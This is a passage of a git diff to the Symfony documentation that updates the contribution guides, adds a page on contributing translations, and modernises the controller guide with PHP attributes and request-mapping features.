-.. toctree:: - :hidden: - - format - license - overview - standards - translations diff --git a/contributing/documentation/overview.rst b/contributing/documentation/overview.rst index fc6a2c4e5e5..7095e4cbc4c 100644 --- a/contributing/documentation/overview.rst +++ b/contributing/documentation/overview.rst @@ -21,23 +21,24 @@ If you're making a relatively small change - like fixing a typo or rewording something - the easiest way to contribute is directly on GitHub! You can do this while you're reading the Symfony documentation. -**Step 1.** Click on the **edit this page** button on the upper right corner +**Step 1.** Click on the **edit this page** button on the top of the page and you'll be redirected to GitHub: .. image:: /_images/contributing/docs-github-edit-page.png - :align: center - :class: with-browser + :alt: The "Edit this page" button is located directly below the first heading. + :class: with-browser -**Step 2.** Edit the contents, describe your changes and click on the -**Propose file change** button. +**Step 2.** If this is your first contribution, you have to fork the repository. +Then, edit the contents, preview your changes (with the button at the top left) +and click on the **Commit changes...** button. In the popup, describe your changes +and click on **Propose changes** button. -**Step 3.** GitHub will now create a branch and a commit for your changes -(forking the repository first if this is your first contribution) and it will +**Step 3.** GitHub will now create a branch and a commit for your changes and it will also display a preview of your changes: .. image:: /_images/contributing/docs-github-create-pr.png - :align: center - :class: with-browser + :alt: The "Comparing changes" page on GitHub. + :class: with-browser If everything is correct, click on the **Create pull request** button. @@ -76,7 +77,7 @@ this value accordingly): .. code-block:: terminal $ cd projects/ - $ git clone git://github.com/YOUR-GITHUB-USERNAME/symfony-docs.git + $ git clone git@github.com:YOUR-GITHUB-USERNAME/symfony-docs.git **Step 3.** Add the original Symfony docs repository as a "Git remote" executing this command: @@ -103,7 +104,7 @@ Fetch all the commits of the upstream branches by executing this command: $ git fetch upstream -The purpose of this step is to allow you work simultaneously on the official +The purpose of this step is to allow you to work simultaneously on the official Symfony repository and on your own fork. You'll see this in action in a moment. **Step 4.** Create a dedicated **new branch** for your changes. Use a short and @@ -112,16 +113,16 @@ memorable name for the new branch (if you are fixing a reported issue, use .. code-block:: terminal - $ git checkout -b improve_install_article upstream/3.4 + $ git checkout -b improve_install_article upstream/6.4 In this example, the name of the branch is ``improve_install_article`` and the -``upstream/3.4`` value tells Git to create this branch based on the ``3.4`` +``upstream/6.4`` value tells Git to create this branch based on the ``6.4`` branch of the ``upstream`` remote, which is the original Symfony Docs repository. Fixes should always be based on the **oldest maintained branch** which contains -the error. Nowadays this is the ``3.4`` branch. If you are instead documenting a +the error. Nowadays this is the ``6.4`` branch. If you are instead documenting a new feature, switch to the first Symfony version that included it, e.g. -``upstream/3.1``. Not sure? That's OK! Just use the ``upstream/master`` branch. +``upstream/7.2``. **Step 5.** Now make your changes in the documentation. Add, tweak, reword and even remove any content and do your best to comply with the @@ -152,10 +153,10 @@ exact changes that you want to propose, select the appropriate branches where changes should be applied: .. image:: /_images/contributing/docs-pull-request-change-base.png - :align: center + :alt: The base branch select option on the GitHub page. In this example, the **base fork** should be ``symfony/symfony-docs`` and -the **base** branch should be the ``3.4``, which is the branch that you selected +the **base** branch should be the ``4.4``, which is the branch that you selected to base your changes on. The **head fork** should be your forked copy of ``symfony-docs`` and the **compare** branch should be ``improve_install_article``, which is the name of the branch you created and where you made your changes. @@ -184,6 +185,9 @@ changes and push the new changes: $ git push +It's rare, but you might be asked to rebase your pull request to target another +Symfony branch. Read the :ref:`guide on rebasing pull requests <rebase-your-patch>`. + **Step 10.** After your pull request is eventually accepted and merged in the Symfony documentation, you will be included in the `Symfony Documentation Contributors`_ list. Moreover, if you happen to have a `SymfonyConnect`_ @@ -194,7 +198,7 @@ Your Next Documentation Contributions Check you out! You've made your first contribution to the Symfony documentation! Somebody throw a party! Your first contribution took a little extra time because -you needed to learn a few standards and setup your computer. But from now on, +you had to learn a few standards and set up your computer. But from now on, your contributions will be much easier to complete. Here is a **checklist** of steps that will guide you through your next @@ -205,7 +209,7 @@ contribution to the Symfony docs: # create a new branch based on the oldest maintained version $ cd projects/symfony-docs/ $ git fetch upstream - $ git checkout -b my_changes upstream/3.4 + $ git checkout -b my_changes upstream/6.4 # ... do your changes @@ -229,82 +233,33 @@ this hard work, it's **time to celebrate again!** Review your changes ------------------- -Every GitHub Pull Request is automatically built and deployed by -`SymfonyCloud`_ on a single environment that you can access on your browser to -review your changes. - -.. image:: /_images/contributing/docs-pull-request-symfonycloud.png - :align: center - :alt: SymfonyCloud Pull Request Deployment - -To access the `SymfonyCloud`_ environment URL, go to your Pull Request page on -GitHub, click on the **Show all checks** link and finally, click on the -``Details`` link displayed for SymfonyCloud service. - -.. note:: - - Only Pull Requests to maintained branches are automatically built by - SymfonyCloud. Check the `roadmap`_ for maintained branches. - -Build the Documentation Locally -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -If you have Docker installed on your machine, run these commands to build the -docs: - -.. code-block:: terminal - - # build the image... - $ docker build . -t symfony-docs - - # ...and start the local web server - # (if it's already in use, change the '8080' port by any other port) - $ docker run --rm -p 8080:80 symfony-docs - -You can now read the docs at ``http://127.0.0.1:8080`` (if you use a virtual -machine, browse its IP instead of localhost; e.g. ``http://192.168.99.100:8080``). - -If you don't use Docker, follow these steps to build the docs locally: - -#. Install `pip`_ as explained in the `pip installation`_ article; - -#. Install `Sphinx`_ and `Sphinx Extensions for PHP and Symfony`_ - (depending on your system, you may need to execute this command as root user): - - .. code-block:: terminal - - $ cd _build/ - $ pip install -r .requirements.txt - -#. Run the following command to build the documentation in HTML format: - - .. code-block:: terminal - - $ cd _build/ - $ make html +Symfony repository checks every Pull Request automatically to look for common +errors, inappropriate words, syntax issues in code blocks, etc. -The generated documentation is available in the ``_build/html`` directory. +Optionally you can also build the docs in your local machine to debug issues or +to read the documentation offline. To do so, follow the instructions included in +`the README file of symfony-docs repository`_. Frequently Asked Questions -------------------------- -Why Do my Changes Take so Long to Be Reviewed and/or Merged? +Why Do My Changes Take So Long to Be Reviewed and/or Merged? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Please be patient. It can take up to several days before your pull request can be fully reviewed. After merging the changes, it could take again several hours before your changes appear on the Symfony website. -Why Should I Use the Oldest Maintained Branch Instead of the Master Branch? +Why Should I Use the Oldest Maintained Branch Instead of the Latest Branch? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Consistent with Symfony's source code, the documentation repository is split into multiple branches, corresponding to the different versions of Symfony itself. -The ``master`` branch holds the documentation for the development branch of +The latest (e.g. ``5.x``) branch holds the documentation for the development branch of the code. -Unless you're documenting a feature that was introduced after Symfony 3.4, -your changes should always be based on the ``3.4`` branch. Documentation managers +Unless you're documenting a feature that was introduced after Symfony 6.4, +your changes should always be based on the ``6.4`` branch. Documentation managers will use the necessary Git-magic to also apply your changes to all the active branches of the documentation. @@ -338,11 +293,6 @@ definitely don't want you to waste your time! .. _`GitHub`: https://github.com/ .. _`fork the repository`: https://help.github.com/github/getting-started-with-github/fork-a-repo .. _`Symfony Documentation Contributors`: https://symfony.com/contributors/doc -.. _`SymfonyConnect`: https://connect.symfony.com/ +.. _`SymfonyConnect`: https://symfony.com/connect/login .. _`Symfony Documentation Badge`: https://connect.symfony.com/badge/36/symfony-documentation-contributor -.. _`SymfonyCloud`: https://symfony.com/cloud -.. _`roadmap`: https://symfony.com/releases -.. _`pip`: https://pip.pypa.io/en/stable/ -.. _`pip installation`: https://pip.pypa.io/en/stable/installing/ -.. _`Sphinx`: https://www.sphinx-doc.org/ -.. _`Sphinx Extensions for PHP and Symfony`: https://github.com/fabpot/sphinx-php +.. _`the README file of symfony-docs repository`: https://github.com/symfony/symfony-docs#readme diff --git a/contributing/documentation/standards.rst b/contributing/documentation/standards.rst index dc43258052e..5e195d008fd 100644 --- a/contributing/documentation/standards.rst +++ b/contributing/documentation/standards.rst @@ -88,10 +88,11 @@ Configuration examples should show all supported formats using (and their orders) are: * **Configuration** (including services): YAML, XML, PHP -* **Routing**: Annotations, YAML, XML, PHP -* **Validation**: Annotations, YAML, XML, PHP -* **Doctrine Mapping**: Annotations, YAML, XML, PHP +* **Routing**: Attributes, YAML, XML, PHP +* **Validation**: Attributes, YAML, XML, PHP +* **Doctrine Mapping**: Attributes, YAML, XML, PHP * **Translation**: XML, YAML, PHP +* **Code Examples** (if applicable): PHP Symfony, PHP Standalone Example ~~~~~~~ @@ -108,7 +109,7 @@ Example { // ... - public function foo($bar) + public function foo($bar): mixed { // set foo with a value of bar $foo = ...; @@ -121,7 +122,7 @@ Example } } -.. caution:: +.. warning:: In YAML you should put a space after ``{`` and before ``}`` (e.g. ``{ _controller: ... }``), but this should not be done in Twig (e.g. ``{'hello' : 'value'}``). @@ -145,6 +146,35 @@ Files and Directories ├─ vendor/ └─ ... +Images and Diagrams +------------------- + +* **Diagrams** must adhere to the Symfony docs style. These are created + using the Dia_ application, to make sure everyone can edit them. See the + `README on GitHub`_ for instructions on how to create them. +* All images and diagrams must contain **alt descriptions**: + + * Keep the descriptions concise, do not duplicate information surrounding + the figure; + * Describe complex diagrams in text surrounding the diagram instead of + the alt description. In these cases, alt descriptions must describe + where the longer description can be found (e.g. "These elements are + described further in the next sections"); + * Start descriptions with a capital letter and end with a period; + * Do not start with "A screenshot of", "Diagram of", etc. except when + it's useful to know the exact type (e.g. a specific diagram type). + +.. code-block:: text + + .. image:: /_images/example-screenshot.png + :alt: Some concise description of the screenshot. + + .. raw:: html + + <object data="_images/example-diagram.svg" type="image/svg+xml" + alt="Some concise description." + ></object> + English Language Standards -------------------------- @@ -190,11 +220,16 @@ In addition, documentation follows these rules: * simply * trivial +* **Contractions** are allowed: e.g. you can write ``you would`` as well as ``you'd``, + ``it is`` as well as ``it's``, etc. + .. _`the Sphinx documentation`: https://www.sphinx-doc.org/en/master/usage/restructuredtext/basics.html#literal-blocks -.. _`Twig Coding Standards`: https://twig.symfony.com/doc/2.x/coding_standards.html +.. _`Twig Coding Standards`: https://twig.symfony.com/doc/3.x/coding_standards.html .. _`reserved by the IANA`: https://tools.ietf.org/html/rfc2606#section-3 .. _`American English`: https://en.wikipedia.org/wiki/American_English .. _`American English Oxford Dictionary`: https://www.lexico.com/definition/american_english .. _`headings and titles`: https://en.wikipedia.org/wiki/Letter_case#Headings_and_publication_titles .. _`Serial (Oxford) Commas`: https://en.wikipedia.org/wiki/Serial_comma +.. _`Dia`: http://dia-installer.de/ +.. _`README on GitHub`: https://github.com/symfony/symfony-docs/blob/6.4/_images/sources/README.md .. _`nosism`: https://en.wikipedia.org/wiki/Nosism diff --git a/contributing/index.rst b/contributing/index.rst index 923a4e48ed4..c44ee7606a1 100644 --- a/contributing/index.rst +++ b/contributing/index.rst @@ -1,13 +1,4 @@ Contributing ============ -.. toctree:: - :hidden: - - code_of_conduct/index - code/index - documentation/index - community/index - diversity/index - .. include:: /contributing/map.rst.inc diff --git a/contributing/map.rst.inc b/contributing/map.rst.inc index 92bc1e2e142..acbb24bb9b0 100644 --- a/contributing/map.rst.inc +++ b/contributing/map.rst.inc @@ -1,3 +1,5 @@ +* :doc:`The Core Team </contributing/core_team>` + * **Code of Conduct** * :doc:`/contributing/code_of_conduct/code_of_conduct` @@ -12,7 +14,6 @@ * :doc:`Pull Requests </contributing/code/pull_requests>` * :doc:`Reviewing Issues and Pull Requests </contributing/community/reviews>` * :doc:`Maintenance </contributing/code/maintenance>` - * :doc:`The Core Team </contributing/code/core_team>` * :doc:`Security </contributing/code/security>` * :doc:`Tests </contributing/code/tests>` * :doc:`Backward Compatibility </contributing/code/bc>` diff --git a/contributing/translations/index.rst b/contributing/translations/index.rst new file mode 100644 index 00000000000..82679a6a0f2 --- /dev/null +++ b/contributing/translations/index.rst @@ -0,0 +1,103 @@ +Contributing Translations +========================= + +Some Symfony Components include certain messages that must be translated to +different languages. For example, if a user submits a form with a wrong value in +a :doc:`TimezoneType </reference/forms/types/timezone>` field, Symfony shows the +following error message by default: "This value is not a valid timezone." + +These messages are translated into tens of languages thanks to the Symfony +community. Symfony adds new messages on a regular basis, so this is an ongoing +translation process and you can help us by providing the missing translations. + +How to Contribute a Translation +------------------------------- + +Imagine that you can speak both English and Swedish and want to check if there's +some missing Swedish translations to contribute them. + +**Step 1.** Translations are contributed to the oldest maintained branch of the +Symfony repository. Visit the `Symfony Releases`_ page to find out which is the +current oldest maintained branch. + +Then, you need to either download or browse that Symfony version contents: + +* If you know Git and prefer the command console, clone the Symfony repository + and check out the oldest maintained branch (read the + :doc:`Symfony Documentation contribution guide </contributing/documentation/overview>` + if you want to learn about this process); +* If you prefer to use a web based interface, visit + `https://github.com/symfony/symfony <https://github.com/symfony/symfony>`_ + and switch to the oldest maintained branch. + +**Step 2.** Check out if there's some missing translation in your language by +checking these directories: + +* ``src/Symfony/Component/Form/Resources/translations/`` +* ``src/Symfony/Component/Security/Core/Resources/translations/`` +* ``src/Symfony/Component/Validator/Resources/translations/`` + +Symfony uses the :ref:`XLIFF format <best-practice-internationalization>` to +store translations. In this example, you are looking for missing Swedish +translations, so you should look for files called ``*.sv.xlf``. + +.. note:: + + If there's no XLIFF file for your language yet, create it yourself + duplicating the original English file (e.g. ``validators.en.xlf``). + +**Step 3.** Contribute the missing translations. To do that, compare the file +in your language to the equivalent file in English. + +Imagine that you open the ``validators.sv.xlf`` and see this at the end of the file: + +.. code-block:: xml + + <!-- src/Symfony/Component/Validator/Resources/translations/validators.sv.xlf --> + + <!-- ... --> + <trans-unit id="91"> + <source>This value should be either negative or zero.</source> + <target>Detta värde bör vara antingen negativt eller noll.</target> + </trans-unit> + <trans-unit id="92"> + <source>This value is not a valid timezone.</source> + <target>Detta värde är inte en giltig tidszon.</target> + </trans-unit> + +If you open the equivalent ``validators.en.xlf`` file, you can see that the +English file has more messages to translate: + +.. code-block:: xml + + <!-- src/Symfony/Component/Validator/Resources/translations/validators.en.xlf --> + + <!-- ... --> + <trans-unit id="91"> + <source>This value should be either negative or zero.</source> + <target>This value should be either negative or zero.</target> + </trans-unit> + <trans-unit id="92"> + <source>This value is not a valid timezone.</source> + <target>This value is not a valid timezone.</target> + </trans-unit> + <trans-unit id="93"> + <source>This password has been leaked in a data breach, it must not be used. Please use another password.</source> + <target>This password has been leaked in a data breach, it must not be used. Please use another password.</target> + </trans-unit> + <trans-unit id="94"> + <source>This value should be between {{ min }} and {{ max }}.</source> + <target>This value should be between {{ min }} and {{ max }}.</target> + </trans-unit> + +The messages with ``id=93`` and ``id=94`` are missing in the Swedish file. +Copy and paste the messages from the English file, translate the content +inside the ``<target>`` tag and save the changes. + +**Step 4.** Make the pull request against the +`https://github.com/symfony/symfony <https://github.com/symfony/symfony>`_ repository. +If you need help, check the other Symfony guides about +:doc:`contributing code or docs </contributing/index>` because the process is +the same. + +.. _`Symfony Releases`: https://symfony.com/releases diff --git a/controller.rst b/controller.rst index d29608e6128..5b0b77b35b9 100644 --- a/controller.rst +++ b/controller.rst @@ -1,6 +1,3 @@ -.. index:: - single: Controller - Controller ========== @@ -15,11 +12,8 @@ to render the content of a page. If you haven't already created your first working page, check out :doc:`/page_creation` and then come back! -.. index:: - single: Controller; Basic example - A Basic Controller -------------------- +------------------ While a controller can be any PHP callable (function, method on an object, or a ``Closure``), a controller is usually a method inside a controller @@ -29,14 +23,12 @@ class:: namespace App\Controller; use Symfony\Component\HttpFoundation\Response; - use Symfony\Component\Routing\Annotation\Route; + use Symfony\Component\Routing\Attribute\Route; class LuckyController { - /** - * @Route("/lucky/number/{max}", name="app_lucky_number") - */ - public function number($max) + #[Route('/lucky/number/{max}', name: 'app_lucky_number')] + public function number(int $max): Response { $number = random_int(0, $max); @@ -49,7 +41,7 @@ class:: The controller is the ``number()`` method, which lives inside the controller class ``LuckyController``. -This controller is pretty straightforward: +This controller is quite simple: * *line 2*: Symfony takes advantage of PHP's namespace functionality to namespace the entire controller class. @@ -61,28 +53,22 @@ This controller is pretty straightforward: * *line 7*: The class can technically be called anything, but it's suffixed with ``Controller`` by convention. -* *line 12*: The action method is allowed to have a ``$max`` argument thanks to the +* *line 10*: The action method is allowed to have a ``$max`` argument thanks to the ``{max}`` :doc:`wildcard in the route </routing>`. -* *line 16*: The controller creates and returns a ``Response`` object. - -.. index:: - single: Controller; Routes and controllers +* *line 14*: The controller creates and returns a ``Response`` object. Mapping a URL to a Controller ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ In order to *view* the result of this controller, you need to map a URL to it via -a route. This was done above with the ``@Route("/lucky/number/{max}")`` -:ref:`route annotation <annotation-routes>`. +a route. This was done above with the ``#[Route('/lucky/number/{max}')]`` +:ref:`route attribute <attribute-routes>`. To see your page, go to this URL in your browser: http://localhost:8000/lucky/number/100 For more information on routing, see :doc:`/routing`. -.. index:: - single: Controller; Base controller class - .. _the-base-controller-class-services: .. _the-base-controller-classes-services: @@ -98,23 +84,20 @@ Add the ``use`` statement atop your controller class and then modify .. code-block:: diff - // src/Controller/LuckyController.php - namespace App\Controller; + // src/Controller/LuckyController.php + namespace App\Controller; + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - class LuckyController + class LuckyController extends AbstractController - { - // ... - } + { + // ... + } That's it! You now have access to methods like :ref:`$this->render() <controller-rendering-templates>` and many others that you'll learn about next. -.. index:: - single: Controller; Redirecting - Generating URLs ~~~~~~~~~~~~~~~ @@ -132,9 +115,10 @@ If you want to redirect the user to another page, use the ``redirectToRoute()`` and ``redirect()`` methods:: use Symfony\Component\HttpFoundation\RedirectResponse; + use Symfony\Component\HttpFoundation\Response; // ... - public function index() + public function index(): RedirectResponse { // redirects to the "homepage" route return $this->redirectToRoute('homepage'); @@ -142,8 +126,10 @@ and ``redirect()`` methods:: // redirectToRoute is a shortcut for: // return new RedirectResponse($this->generateUrl('homepage')); - // does a permanent - 301 redirect + // does a permanent HTTP 301 redirect return $this->redirectToRoute('homepage', [], 301); + // if you prefer, you can use PHP constants instead of hardcoded numbers + return $this->redirectToRoute('homepage', [], Response::HTTP_MOVED_PERMANENTLY); // redirect to a route with parameters return $this->redirectToRoute('app_lucky_number', ['max' => 10]); @@ -151,19 +137,19 @@ and ``redirect()`` methods:: // redirects to a route and maintains the original query string parameters return $this->redirectToRoute('blog_show', $request->query->all()); + // redirects to the current route (e.g. for Post/Redirect/Get pattern): + return $this->redirectToRoute($request->attributes->get('_route')); + // redirects externally return $this->redirect('http://symfony.com/doc'); } -.. caution:: +.. danger:: The ``redirect()`` method does not check its destination in any way. If you redirect to a URL provided by end-users, your application may be open to the `unvalidated redirects security vulnerability`_. -.. index:: - single: Controller; Rendering templates - .. _controller-rendering-templates: Rendering Templates @@ -179,9 +165,6 @@ object for you:: Templating and Twig are explained more in the :doc:`Creating and Using Templates article </templates>`. -.. index:: - single: Controller; Accessing services - .. _controller-accessing-services: .. _accessing-other-services: @@ -193,15 +176,15 @@ These are used for rendering templates, sending emails, querying the database an any other "work" you can think of. If you need a service in a controller, type-hint an argument with its class -(or interface) name. Symfony will automatically pass you the service you need:: +(or interface) name and Symfony will inject it automatically. This requires +your :doc:`controller to be registered as a service </controller/service>`:: use Psr\Log\LoggerInterface; + use Symfony\Component\HttpFoundation\Response; // ... - /** - * @Route("/lucky/number/{max}") - */ - public function number($max, LoggerInterface $logger) + #[Route('/lucky/number/{max}')] + public function number(int $max, LoggerInterface $logger): Response { $logger->info('We are logging!'); // ... @@ -216,66 +199,40 @@ command: $ php bin/console debug:autowiring -If you need control over the *exact* value of an argument, you can :ref:`bind <services-binding>` -the argument by its name: +.. tip:: -.. configuration-block:: + If you need control over the *exact* value of an argument, or require a parameter, + you can use the ``#[Autowire]`` attribute:: + + // ... + use Psr\Log\LoggerInterface; + use Symfony\Component\DependencyInjection\Attribute\Autowire; + use Symfony\Component\HttpFoundation\Response; + + class LuckyController extends AbstractController + { + public function number( + int $max, + + // inject a specific logger service + #[Autowire(service: 'monolog.logger.request')] + LoggerInterface $logger, + + // or inject parameter values + #[Autowire('%kernel.project_dir%')] + string $projectDir + ): Response + { + $logger->info('We are logging!'); + // ... + } + } - .. code-block:: yaml - - # config/services.yaml - services: - # ... - - # explicitly configure the service - App\Controller\LuckyController: - tags: [controller.service_arguments] - bind: - # for any $logger argument, pass this specific service - $logger: '@monolog.logger.doctrine' - # for any $projectDir argument, pass this parameter value - $projectDir: '%kernel.project_dir%' - - .. code-block:: xml - - <!-- config/services.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd"> - - <services> - <!-- ... --> - - <!-- Explicitly configure the service --> - <service id="App\Controller\LuckyController"> - <tag name="controller.service_arguments"/> - <bind key="$logger" - type="service" - id="monolog.logger.doctrine" - /> - <bind key="$projectDir">%kernel.project_dir%</bind> - </service> - </services> - </container> - - .. code-block:: php - - // config/services.php - use App\Controller\LuckyController; - use Symfony\Component\DependencyInjection\Reference; - - $container->register(LuckyController::class) - ->addTag('controller.service_arguments') - ->setBindings([ - '$logger' => new Reference('monolog.logger.doctrine'), - '$projectDir' => '%kernel.project_dir%' - ]) - ; - -Like with all services, you can also use regular :ref:`constructor injection <services-constructor-injection>` -in your controllers. + You can read more about this attribute in :ref:`autowire-attribute`. + +Like with all services, you can also use regular +:ref:`constructor injection <services-constructor-injection>` in your +controllers. For more information about services, see the :doc:`/service_container` article. @@ -308,24 +265,17 @@ use: created: templates/product/new.html.twig created: templates/product/show.html.twig -.. versionadded:: 1.2 - - The ``make:crud`` command was introduced in MakerBundle 1.2. - -.. index:: - single: Controller; Managing errors - single: Controller; 404 pages - Managing Errors and 404 Pages ----------------------------- When things are not found, you should return a 404 response. To do this, throw a special type of exception:: + use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpKernel\Exception\NotFoundHttpException; // ... - public function index() + public function index(): Response { // retrieve the object from database $product = ...; @@ -336,7 +286,7 @@ special type of exception:: // throw new NotFoundHttpException('The product does not exist'); } - return $this->render(...); + return $this->render(/* ... */); } The :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::createNotFoundException` @@ -370,8 +320,10 @@ object. To access it in your controller, add it as an argument and **type-hint it with the Request class**:: use Symfony\Component\HttpFoundation\Request; + use Symfony\Component\HttpFoundation\Response; + // ... - public function index(Request $request, $firstName, $lastName) + public function index(Request $request): Response { $page = $request->query->get('page', 1); @@ -381,129 +333,433 @@ object. To access it in your controller, add it as an argument and :ref:`Keep reading <request-object-info>` for more information about using the Request object. -.. index:: - single: Controller; The session - single: Session +.. _controller_map-request: -.. _session-intro: +Automatic Mapping Of The Request +-------------------------------- -Managing the Session --------------------- +It is possible to automatically map request's payload and/or query parameters to +your controller's action arguments with attributes. -Symfony provides a session service that you can use to store information -about the user between requests. Session is enabled by default, but will only be -started if you read or write from it. +Mapping Query Parameters Individually +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Session storage and other configuration can be controlled under the -:ref:`framework.session configuration <config-framework-session>` in -``config/packages/framework.yaml``. +Let's say a user sends you a request with the following query string: +``https://example.com/dashboard?firstName=John&lastName=Smith&age=27``. +Thanks to the :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapQueryParameter` +attribute, arguments of your controller's action can be automatically fulfilled:: -To get the session, add an argument and type-hint it with -:class:`Symfony\\Component\\HttpFoundation\\Session\\SessionInterface`:: + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\HttpKernel\Attribute\MapQueryParameter; - use Symfony\Component\HttpFoundation\Session\SessionInterface; + // ... - public function index(SessionInterface $session) + public function dashboard( + #[MapQueryParameter] string $firstName, + #[MapQueryParameter] string $lastName, + #[MapQueryParameter] int $age, + ): Response { - // stores an attribute for reuse during a later user request - $session->set('foo', 'bar'); + // ... + } + +The ``MapQueryParameter`` attribute supports the following argument types: + +* ``\BackedEnum`` +* ``array`` +* ``bool`` +* ``float`` +* ``int`` +* ``string`` +* Objects that extend :class:`Symfony\\Component\\Uid\\AbstractUid` + +.. versionadded:: 7.3 + + Support for ``AbstractUid`` objects was introduced in Symfony 7.3. + +``#[MapQueryParameter]`` can take an optional argument called ``filter``. You can use the +`Validate Filters`_ constants defined in PHP:: + + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\HttpKernel\Attribute\MapQueryParameter; - // gets the attribute set by another controller in another request - $foobar = $session->get('foobar'); + // ... - // uses a default value if the attribute doesn't exist - $filters = $session->get('filters', []); + public function dashboard( + #[MapQueryParameter(filter: \FILTER_VALIDATE_REGEXP, options: ['regexp' => '/^\w+$/'])] string $firstName, + #[MapQueryParameter] string $lastName, + #[MapQueryParameter(filter: \FILTER_VALIDATE_INT)] int $age, + ): Response + { + // ... } -Stored attributes remain in the session for the remainder of that user's session. +.. _controller-mapping-query-string: -For more info, see :doc:`/session`. +Mapping The Whole Query String +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -.. index:: - single: Session; Flash messages +Another possibility is to map the entire query string into an object that will hold +available query parameters. Let's say you declare the following DTO with its +optional validation constraints:: -.. _flash-messages: + namespace App\Model; -Flash Messages -~~~~~~~~~~~~~~ + use Symfony\Component\Validator\Constraints as Assert; -You can also store special messages, called "flash" messages, on the user's -session. By design, flash messages are meant to be used exactly once: they vanish -from the session automatically as soon as you retrieve them. This feature makes -"flash" messages particularly great for storing user notifications. + class UserDto + { + public function __construct( + #[Assert\NotBlank] + public string $firstName, -For example, imagine you're processing a :doc:`form </forms>` submission:: + #[Assert\NotBlank] + public string $lastName, - use Symfony\Component\HttpFoundation\Request; + #[Assert\GreaterThan(18)] + public int $age, + ) { + } + } + +You can then use the :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapQueryString` +attribute in your controller:: + + use App\Model\UserDto; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\HttpKernel\Attribute\MapQueryString; - public function update(Request $request) + // ... + + public function dashboard( + #[MapQueryString] UserDto $userDto + ): Response { // ... + } - if ($form->isSubmitted() && $form->isValid()) { - // do some sort of processing +You can customize the validation groups used during the mapping and also the +HTTP status to return if the validation fails:: - $this->addFlash( - 'notice', - 'Your changes were saved!' - ); - // $this->addFlash() is equivalent to $request->getSession()->getFlashBag()->add() + use Symfony\Component\HttpFoundation\Response; - return $this->redirectToRoute(...); - } + // ... + + public function dashboard( + #[MapQueryString( + validationGroups: ['strict', 'edit'], + validationFailedStatusCode: Response::HTTP_UNPROCESSABLE_ENTITY + )] UserDto $userDto + ): Response + { + // ... + } + +The default status code returned if the validation fails is 404. + +If you want to map your object to a nested array in your query using a specific key, +set the ``key`` option in the ``#[MapQueryString]`` attribute:: + + use App\Model\SearchDto; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\HttpKernel\Attribute\MapQueryString; + + // ... + + public function dashboard( + #[MapQueryString(key: 'search')] SearchDto $searchDto + ): Response + { + // ... + } + +.. versionadded:: 7.3 + + The ``key`` option of ``#[MapQueryString]`` was introduced in Symfony 7.3. + +If you need a valid DTO even when the request query string is empty, set a +default value for your controller arguments:: + + use App\Model\UserDto; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\HttpKernel\Attribute\MapQueryString; + + // ... - return $this->render(...); + public function dashboard( + #[MapQueryString] UserDto $userDto = new UserDto() + ): Response + { + // ... + } + +.. _controller-mapping-request-payload: + +Mapping Request Payload +~~~~~~~~~~~~~~~~~~~~~~~ + +When creating an API and dealing with other HTTP methods than ``GET`` (like +``POST`` or ``PUT``), user's data are not stored in the query string +but directly in the request payload, like this: + +.. code-block:: json + + { + "firstName": "John", + "lastName": "Smith", + "age": 28 + } + +In this case, it is also possible to directly map this payload to your DTO by +using the :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapRequestPayload` +attribute:: + + use App\Model\UserDto; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\HttpKernel\Attribute\MapRequestPayload; + + // ... + + public function dashboard( + #[MapRequestPayload] UserDto $userDto + ): Response + { + // ... + } + +This attribute allows you to customize the serialization context as well +as the class responsible of doing the mapping between the request and +your DTO:: + + public function dashboard( + #[MapRequestPayload( + serializationContext: ['...'], + resolver: App\Resolver\UserDtoResolver + )] + UserDto $userDto + ): Response + { + // ... } -After processing the request, the controller sets a flash message in the session -and then redirects. The message key (``notice`` in this example) can be anything: -you'll use this key to retrieve the message. - -In the template of the next page (or even better, in your base layout template), -read any flash messages from the session using the ``flashes()`` method provided -by the :ref:`Twig global app variable <twig-app-variable>`: - -.. code-block:: html+twig - - {# templates/base.html.twig #} - - {# read and display just one flash message type #} - {% for message in app.flashes('notice') %} - <div class="flash-notice"> - {{ message }} - </div> - {% endfor %} - - {# read and display several types of flash messages #} - {% for label, messages in app.flashes(['success', 'warning']) %} - {% for message in messages %} - <div class="flash-{{ label }}"> - {{ message }} - </div> - {% endfor %} - {% endfor %} - - {# read and display all flash messages #} - {% for label, messages in app.flashes %} - {% for message in messages %} - <div class="flash-{{ label }}"> - {{ message }} - </div> - {% endfor %} - {% endfor %} - -It's common to use ``notice``, ``warning`` and ``error`` as the keys of the -different types of flash messages, but you can use any key that fits your -needs. +You can also customize the validation groups used, the status code to return if +the validation fails as well as supported payload formats:: + + use Symfony\Component\HttpFoundation\Response; + + // ... + + public function dashboard( + #[MapRequestPayload( + acceptFormat: 'json', + validationGroups: ['strict', 'read'], + validationFailedStatusCode: Response::HTTP_NOT_FOUND + )] UserDto $userDto + ): Response + { + // ... + } + +The default status code returned if the validation fails is 422. .. tip:: - You can use the - :method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::peek` - method instead to retrieve the message while keeping it in the bag. + If you build a JSON API, make sure to declare your route as using the JSON + :ref:`format <routing-format-parameter>`. This will make the error handling + output a JSON response in case of validation errors, rather than an HTML 